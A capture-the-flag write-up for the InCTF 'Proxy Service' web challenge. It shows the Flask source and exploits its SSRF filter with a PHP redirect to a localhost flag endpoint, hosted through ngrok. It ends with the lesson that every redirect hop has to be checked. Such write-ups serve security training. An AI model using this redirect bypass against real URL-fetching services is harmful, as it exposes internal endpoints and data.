Proxy Service


#inctf#web#ssrf

๐Ÿ•ต๏ธ Challenge: Proxy Service

Challenge UI

Description:

I developed this proxy service for InCTF players.
You can use it to proxy anything on the internet.
But Iโ€™m sure that you will not be able to find my secret. If you can prove me wrong, the flag is all yours!
Iโ€™m so confident that I have even attached the source code somewhere.
Let the game begin.

Flag format: inctf{*}

image


๐Ÿ” Challenge Page

Opening the challenge leads to a web page that claims to proxy a URL and return its content.

image


๐Ÿ“œ Source Code Found via /viewsource

Inspecting the frontend revealed a hidden path hint in an HTML comment.

image

Visiting /viewsource discloses the Python backend logic:

from flask import Flask, request, render_template, Response
from urllib.parse import urlparse
import ipaddress
import os
import requests
import time
import socket

app = Flask(__name__)

# Original flag in env variable
str_flag = os.getenv("FLAG", "inctf{this_is_fake_flag}")

@app.route("/")
def home():
    return render_template("index.html")

@app.route("/proxy", methods=["POST"])
def do_request():
    try:
        url = request.form["url"]
        domain = urlparse(url).netloc

        if ":" in domain:
            domain = domain.split(":")[0]

        ip = socket.gethostbyname(domain)

        # block access to internal IPs
        if ipaddress.ip_address(ip).is_private or url.startswith("http") == False:
            return render_template("index.html", message="Access denied !")
        else:
            # Prevent Denial-of-Service attack
            time.sleep(3)
            print("Requesting: ", ip)
            r = requests.get(url)
            body = r.text
            return body

    except:
        return render_template("index.html", message="Some error occured")

@app.route("/viewsource")
def source():
    resp = Response(open("app.py").read())
    resp.headers['Content-Type'] = 'text/plain'
    return resp

@app.route("/gimme_tha_fleg")
def flag():
    # Allow flag access to internal IPs only
    if request.access_route[-1] == "127.0.0.1":
        return f"Welcome, {request.access_route[-1]}. Your flag is <code>{str_flag}</code>"
    else:
        return "Get outta here!", 403

if __name__ == "__main__":
    app.run(debug=False)


๐Ÿ” Vulnerability Analysis

Letโ€™s break down the logic inside the proxy backend:

ip = socket.gethostbyname(domain)
if ipaddress.ip_address(ip).is_private or url.startswith("http") == False:
    return render_template("index.html", message="Access denied!")

Hereโ€™s what it tries to do:

  • Blocks private/internal IPs (e.g. 127.0.0.1, 192.168.0.0/16, etc.)
  • Requires URLs to start with http

However, this only checks the resolved IP of the initial domain, not if it redirects to internal services!


๐Ÿ”„ Exploiting SSRF via Redirects

We host a PHP redirector locally:

<?php header("Location: http://localhost/gimme_tha_fleg"); ?>

Save this as index.php and start a local PHP server:

image

php -S localhost:8080

Then we expose it to the internet using ngrok:

ngrok http 8080

image


๐ŸŽฏ Exploiting the Challenge

Now, enter the ngrok URL into the proxy field:

image

The backend:

  1. Resolves the ngrok domain (a public IP)
  2. Allows the request โœ…
  3. Follows the HTTP 302 redirect to http://localhost/gimme_tha_fleg image

  4. Since request.access_route[0] == 127.0.0.1, the flag is returned

๐Ÿ Flag

After successful redirection, the response reveals the flag:

Welcome, 127.0.0.1 Your flag is inctf{i_hacked_a_proxy_service_and_all_i_got_is_this_flag_:/}

image


โœ… Summary

  • Vulnerability: SSRF with open redirect bypass
  • Server only blocks initial domain resolution, not redirects
  • Using a redirector, we hit an internal endpoint from the outside

Lesson: Always check the final destination of redirects, not just the first hop.


๐ŸŽฅ Video Walkthrough

Watch the full walkthrough here: YouTube Link ๐Ÿ”—